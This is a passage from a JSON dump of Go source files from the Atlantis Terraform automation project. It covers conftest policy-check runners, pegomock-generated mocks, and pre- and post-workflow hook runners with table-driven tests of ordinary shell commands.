\"testproj-default.json\"), \"--no-color\"}\n\n\t\tWhen(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil)\n\t\tWhen(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil)\n\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, errors.New(\"exit status code 1\"))\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, errors.New(\"exit status code 1\"))\n\n\t\tresult, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs)\n\n\t\tEquals(t, result, expectedResult)\n\t\tAssert(t, err != nil, \"error is expected\")\n\n\t})\n\n\tt.Run(\"parse error should fail policy\", func(t *testing.T) {\n\t\tvar extraArgs []string\n\n\t\t// Simulate a Rego parse error output\n\t\tparseErrorOutput := \"Error: running test: load: loading policies: load: 2 errors occurred during loading:\"\n\t\texpectedResult := `[{\"PolicySetName\":\"policy1\",\"PolicyOutput\":\"Error: running test: load: loading policies: load: 2 errors occurred during loading:\",\"Passed\":false,\"ReqApprovals\":0,\"CurApprovals\":0}]`\n\n\t\texpectedArgsPolicy := []string{executablePath, \"test\", \"-p\", localPolicySetPath1, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\n\t\tWhen(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil)\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy, envs, workdir)).ThenReturn(parseErrorOutput, errors.New(\"exit status code 1\"))\n\n\t\tctxSinglePolicy := command.ProjectContext{\n\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{policySet1},\n\t\t\t},\n\t\t\tProjectName: \"testproj\",\n\t\t\tWorkspace:   \"default\",\n\t\t\tLog:         log,\n\t\t}\n\n\t\tresult, err := subject.Run(ctxSinglePolicy, executablePath, envs, workdir, extraArgs)\n\n\t\tEquals(t, result, expectedResult)\n\t\tAssert(t, err != nil, \"error is expected\")\n\n\t})\n}\n"
  },
  {
    "path": "server/core/runtime/policy/mocks/mock_conftest_client.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime/policy (interfaces: SourceResolver)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tvalid \"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockSourceResolver struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockSourceResolver(options ...pegomock.Option) *MockSourceResolver {\n\tmock := &MockSourceResolver{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockSourceResolver) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockSourceResolver) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockSourceResolver) Resolve(policySet valid.PolicySet) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSourceResolver().\")\n\t}\n\t_params := []pegomock.Param{policySet}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Resolve\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockSourceResolver) VerifyWasCalledOnce() *VerifierMockSourceResolver {\n\treturn &VerifierMockSourceResolver{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockSourceResolver) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSourceResolver {\n\treturn &VerifierMockSourceResolver{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockSourceResolver) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSourceResolver {\n\treturn &VerifierMockSourceResolver{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockSourceResolver) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSourceResolver {\n\treturn &VerifierMockSourceResolver{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockSourceResolver struct {\n\tmock                   *MockSourceResolver\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockSourceResolver) Resolve(policySet valid.PolicySet) *MockSourceResolver_Resolve_OngoingVerification {\n\t_params := []pegomock.Param{policySet}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Resolve\", _params, verifier.timeout)\n\treturn &MockSourceResolver_Resolve_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSourceResolver_Resolve_OngoingVerification struct {\n\tmock              *MockSourceResolver\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSourceResolver_Resolve_OngoingVerification) GetCapturedArguments() valid.PolicySet {\n\tpolicySet := c.GetAllCapturedArguments()\n\treturn policySet[len(policySet)-1]\n}\n\nfunc (c *MockSourceResolver_Resolve_OngoingVerification) GetAllCapturedArguments() (_param0 []valid.PolicySet) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]valid.PolicySet, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(valid.PolicySet)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/policy/mocks/mock_downloader.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime/policy (interfaces: Downloader)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockDownloader struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockDownloader(options ...pegomock.Option) *MockDownloader {\n\tmock := &MockDownloader{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockDownloader) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockDownloader) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockDownloader) GetAny(dst string, src string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockDownloader().\")\n\t}\n\t_params := []pegomock.Param{dst, src}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetAny\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockDownloader) VerifyWasCalledOnce() *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockDownloader) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockDownloader) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockDownloader) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockDownloader struct {\n\tmock                   *MockDownloader\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockDownloader) GetAny(dst string, src string) *MockDownloader_GetAny_OngoingVerification {\n\t_params := []pegomock.Param{dst, src}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetAny\", _params, verifier.timeout)\n\treturn &MockDownloader_GetAny_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockDownloader_GetAny_OngoingVerification struct {\n\tmock              *MockDownloader\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockDownloader_GetAny_OngoingVerification) GetCapturedArguments() (string, string) {\n\tdst, src := c.GetAllCapturedArguments()\n\treturn dst[len(dst)-1], src[len(src)-1]\n}\n\nfunc (c *MockDownloader_GetAny_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/policy_check_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n// policyCheckStepRunner runs a policy check command given a ctx\ntype policyCheckStepRunner struct {\n\tversionEnsurer ExecutorVersionEnsurer\n\texecutor       Executor\n}\n\n// NewPolicyCheckStepRunner creates a new step runner from an executor workflow\nfunc NewPolicyCheckStepRunner(defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, executorWorkflow VersionedExecutorWorkflow) (Runner, error) {\n\tpolicyCheckStepRunner := &policyCheckStepRunner{\n\t\tversionEnsurer: executorWorkflow,\n\t\texecutor:       executorWorkflow,\n\t}\n\tremotePlanRunner := RemoteBackendUnsupportedRunner{}\n\trunner := NewPlanTypeStepRunnerDelegate(policyCheckStepRunner, remotePlanRunner)\n\treturn NewMinimumVersionStepRunnerDelegate(minimumShowTfVersion, defaultTfVersion, runner)\n}\n\n// Run ensures a given version for the executable, builds the args from the project context and then runs executable returning the result\nfunc (p *policyCheckStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\texecutable, err := p.versionEnsurer.EnsureExecutorVersion(ctx.Log, ctx.PolicySets.Version)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"ensuring policy executor version: %w\", err)\n\t}\n\n\treturn p.executor.Run(ctx, executable, envs, path, extraArgs)\n}\n"
  },
  {
    "path": "server/core/runtime/policy_check_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRun(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"default\"\n\tv, _ := version.NewVersion(\"1.0\")\n\tworkdir := \"/path\"\n\texecutablePath := \"some/path/conftest\"\n\n\tcontext := command.ProjectContext{\n\t\tLog:                logger,\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tWorkspace:          workspace,\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t\tPolicySets: valid.PolicySets{\n\t\t\tVersion:    v,\n\t\t\tPolicySets: []valid.PolicySet{},\n\t\t},\n\t}\n\n\texecutorWorkflow := mocks.NewMockVersionedExecutorWorkflow()\n\ts := &policyCheckStepRunner{\n\t\tversionEnsurer: executorWorkflow,\n\t\texecutor:       executorWorkflow,\n\t}\n\n\tt.Run(\"success\", func(t *testing.T) {\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tWhen(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn(executablePath, nil)\n\t\tWhen(executorWorkflow.Run(context, executablePath, map[string]string(nil), workdir, extraArgs)).ThenReturn(\"Success!\", nil)\n\n\t\toutput, err := s.Run(context, extraArgs, workdir, map[string]string(nil))\n\n\t\tOk(t, err)\n\t\tEquals(t, \"Success!\", output)\n\t})\n\n\tt.Run(\"ensure version failure\", func(t *testing.T) {\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\texpectedErr := errors.New(\"error ensuring version\")\n\t\tWhen(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn(\"\", expectedErr)\n\n\t\t_, err := s.Run(context, extraArgs, workdir, map[string]string(nil))\n\n\t\tAssert(t, err != nil, \"error is not nil\")\n\t})\n\tt.Run(\"executor failure\", func(t *testing.T) {\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tWhen(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn(executablePath, nil)\n\t\tWhen(executorWorkflow.Run(context, executablePath, map[string]string(nil), workdir, extraArgs)).ThenReturn(\"\", errors.New(\"error running executor\"))\n\n\t\t_, err := s.Run(context, extraArgs, workdir, map[string]string(nil))\n\n\t\tAssert(t, err != nil, \"error is not nil\")\n\t})\n}\n"
  },
  {
    "path": "server/core/runtime/post_workflow_hook_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_post_workflows_hook_runner.go PostWorkflowHookRunner\ntype PostWorkflowHookRunner interface {\n\tRun(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error)\n}\n\ntype DefaultPostWorkflowHookRunner struct {\n\tOutputHandler jobs.ProjectCommandOutputHandler\n}\n\nfunc (wh DefaultPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) {\n\toutputFilePath := filepath.Join(path, \"OUTPUT_STATUS_FILE\")\n\n\tshellArgsSlice := append(strings.Split(shellArgs, \" \"), command)\n\tcmd := exec.Command(shell, shellArgsSlice...) // #nosec\n\tcmd.Dir = path\n\n\tbaseEnvVars := os.Environ()\n\tcustomEnvVars := map[string]string{\n\t\t\"BASE_BRANCH_NAME\":   ctx.Pull.BaseBranch,\n\t\t\"BASE_REPO_NAME\":     ctx.BaseRepo.Name,\n\t\t\"BASE_REPO_OWNER\":    ctx.BaseRepo.Owner,\n\t\t\"COMMENT_ARGS\":       strings.Join(ctx.EscapedCommentArgs, \",\"),\n\t\t\"DIR\":                path,\n\t\t\"HEAD_BRANCH_NAME\":   ctx.Pull.HeadBranch,\n\t\t\"HEAD_COMMIT\":        ctx.Pull.HeadCommit,\n\t\t\"HEAD_REPO_NAME\":     ctx.HeadRepo.Name,\n\t\t\"HEAD_REPO_OWNER\":    ctx.HeadRepo.Owner,\n\t\t\"PULL_AUTHOR\":        ctx.Pull.Author,\n\t\t\"PULL_NUM\":           fmt.Sprintf(\"%d\", ctx.Pull.Num),\n\t\t\"PULL_URL\":           ctx.Pull.URL,\n\t\t\"USER_NAME\":          ctx.User.Username,\n\t\t\"OUTPUT_STATUS_FILE\": outputFilePath,\n\t\t\"COMMAND_NAME\":       ctx.CommandName,\n\t\t\"COMMAND_HAS_ERRORS\": fmt.Sprintf(\"%t\", ctx.CommandHasErrors),\n\t}\n\n\tfinalEnvVars := baseEnvVars\n\tfor key, val := range customEnvVars {\n\t\tfinalEnvVars = append(finalEnvVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\n\tcmd.Env = finalEnvVars\n\tout, err := cmd.CombinedOutput()\n\n\toutString := strings.ReplaceAll(string(out), \"\\n\", \"\\r\\n\")\n\twh.OutputHandler.SendWorkflowHook(ctx, outString, false)\n\twh.OutputHandler.SendWorkflowHook(ctx, \"\\n\", true)\n\n\tif err != nil {\n\t\terr = fmt.Errorf(\"%s: running '%s' in '%s': \\n%s\", err, shell+\" \"+shellArgs+\" \"+command, path, out)\n\t\tctx.Log.Debug(\"error: %s\", err)\n\t\treturn string(out), \"\", err\n\t}\n\n\t// Read the value from the \"outputFilePath\" file\n\t// to be returned as a custom description.\n\tvar customStatusOut []byte\n\tif _, err := os.Stat(outputFilePath); err == nil {\n\t\tvar customStatusErr error\n\t\tcustomStatusOut, customStatusErr = os.ReadFile(outputFilePath)\n\t\tif customStatusErr != nil {\n\t\t\terr = fmt.Errorf(\"%s: running '%s' in '%s': \\n%s\", err, shell+\" \"+shellArgs+\" \"+command, path, out)\n\t\t\tctx.Log.Debug(\"error: %s\", err)\n\t\t\treturn string(out), \"\", err\n\t\t}\n\t}\n\n\tctx.Log.Info(\"Successfully ran '%s' in '%s'\", shell+\" \"+shellArgs+\" \"+command, path)\n\treturn string(out), strings.Trim(string(customStatusOut), \"\\n\"), nil\n}\n"
  },
  {
    "path": "server/core/runtime/post_workflow_hook_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestPostWorkflowHookRunner_Run(t *testing.T) {\n\n\tdefaultShell := \"sh\"\n\tdefaultShellArgs := \"-c\"\n\tdefaultShellCommandNotFoundErrorFormat := commandNotFoundErrorFormat(defaultShell)\n\tdefaultUnterminatedStringError := unterminatedStringError(defaultShell, defaultShellArgs)\n\n\tcases := []struct {\n\t\tCommand        string\n\t\tShell          string\n\t\tShellArgs      string\n\t\tExpOut         string\n\t\tExpErr         string\n\t\tExpDescription string\n\t}{\n\t\t{\n\t\t\tCommand:        \"\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo hi\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"hi\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        `printf \\'your main.tf file does not provide default region.\\\\ncheck\\'`,\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         `'your`,\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        `printf 'your main.tf file does not provide default region.\\ncheck'`,\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"your main.tf file does not provide default region.\\r\\ncheck\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo 'a\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         defaultUnterminatedStringError,\n\t\t\tExpErr:         \"exit status 2: running 'sh -c echo 'a' in\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo hi >> file && cat file\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"hi\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"lkjlkj\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         fmt.Sprintf(defaultShellCommandNotFoundErrorFormat, \"lkjlkj\"),\n\t\t\tExpErr:         \"exit status 127: running 'sh -c lkjlkj' in\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo user_name=$USER_NAME\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"user_name=acme-user\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo command_name=$COMMAND_NAME command_has_errors=$COMMAND_HAS_ERRORS\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"command_name=plan command_has_errors=false\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo something > $OUTPUT_STATUS_FILE\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"something\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo shell test 1\",\n\t\t\tShell:          \"bash\",\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"shell test 1\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo shell test 2\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      \"-cx\",\n\t\t\tExpOut:         \"+ echo shell test 2\\r\\nshell test 2\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo shell test 3\",\n\t\t\tShell:          \"bash\",\n\t\t\tShellArgs:      \"-cv\",\n\t\t\tExpOut:         \"echo shell test 3\\r\\nshell test 3\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tvar err error\n\n\t\tOk(t, err)\n\n\t\tRegisterMockTestingT(t)\n\t\tterraform := tfclientmocks.NewMockClient()\n\t\tWhen(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())).\n\t\t\tThenReturn(nil)\n\n\t\tlogger := logging.NewNoopLogger(t)\n\t\ttmpDir := t.TempDir()\n\n\t\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\t\tr := runtime.DefaultPostWorkflowHookRunner{\n\t\t\tOutputHandler: projectCmdOutputHandler,\n\t\t}\n\t\tt.Run(c.Command, func(t *testing.T) {\n\t\t\tctx := models.WorkflowHookCommandContext{\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tName:  \"basename\",\n\t\t\t\t\tOwner: \"baseowner\",\n\t\t\t\t},\n\t\t\t\tHeadRepo: models.Repo{\n\t\t\t\t\tName:  \"headname\",\n\t\t\t\t\tOwner: \"headowner\",\n\t\t\t\t},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum:        2,\n\t\t\t\t\tURL:        \"https://github.com/runatlantis/atlantis/pull/2\",\n\t\t\t\t\tHeadBranch: \"add-feat\",\n\t\t\t\t\tHeadCommit: \"12345abcdef\",\n\t\t\t\t\tBaseBranch: \"main\",\n\t\t\t\t\tAuthor:     \"acme\",\n\t\t\t\t},\n\t\t\t\tUser: models.User{\n\t\t\t\t\tUsername: \"acme-user\",\n\t\t\t\t},\n\t\t\t\tLog:              logger,\n\t\t\t\tCommandName:      \"plan\",\n\t\t\t\tCommandHasErrors: false,\n\t\t\t}\n\t\t\t_, desc, err := r.Run(ctx, c.Command, c.Shell, c.ShellArgs, tmpDir)\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrContains(t, c.ExpErr, err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t}\n\t\t\t// Replace $DIR in the exp with the actual temp dir. We do this\n\t\t\t// here because when constructing the cases we don't yet know the\n\t\t\t// temp dir.\n\t\t\tEquals(t, c.ExpDescription, desc)\n\t\t\texpOut := strings.ReplaceAll(c.ExpOut, \"$DIR\", tmpDir)\n\t\t\tprojectCmdOutputHandler.VerifyWasCalledOnce().SendWorkflowHook(\n\t\t\t\tAny[models.WorkflowHookCommandContext](), Eq(expOut), Eq(false))\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/pre_workflow_hook_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_pre_workflows_hook_runner.go PreWorkflowHookRunner\ntype PreWorkflowHookRunner interface {\n\tRun(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error)\n}\n\ntype DefaultPreWorkflowHookRunner struct {\n\tOutputHandler jobs.ProjectCommandOutputHandler\n}\n\nfunc (wh DefaultPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) {\n\toutputFilePath := filepath.Join(path, \"OUTPUT_STATUS_FILE\")\n\n\tshellArgsSlice := append(strings.Split(shellArgs, \" \"), command)\n\tcmd := exec.Command(shell, shellArgsSlice...) // #nosec\n\tcmd.Dir = path\n\n\tbaseEnvVars := os.Environ()\n\tcustomEnvVars := map[string]string{\n\t\t\"BASE_BRANCH_NAME\":   ctx.Pull.BaseBranch,\n\t\t\"BASE_REPO_NAME\":     ctx.BaseRepo.Name,\n\t\t\"BASE_REPO_OWNER\":    ctx.BaseRepo.Owner,\n\t\t\"COMMENT_ARGS\":       strings.Join(ctx.EscapedCommentArgs, \",\"),\n\t\t\"DIR\":                path,\n\t\t\"HEAD_BRANCH_NAME\":   ctx.Pull.HeadBranch,\n\t\t\"HEAD_COMMIT\":        ctx.Pull.HeadCommit,\n\t\t\"HEAD_REPO_NAME\":     ctx.HeadRepo.Name,\n\t\t\"HEAD_REPO_OWNER\":    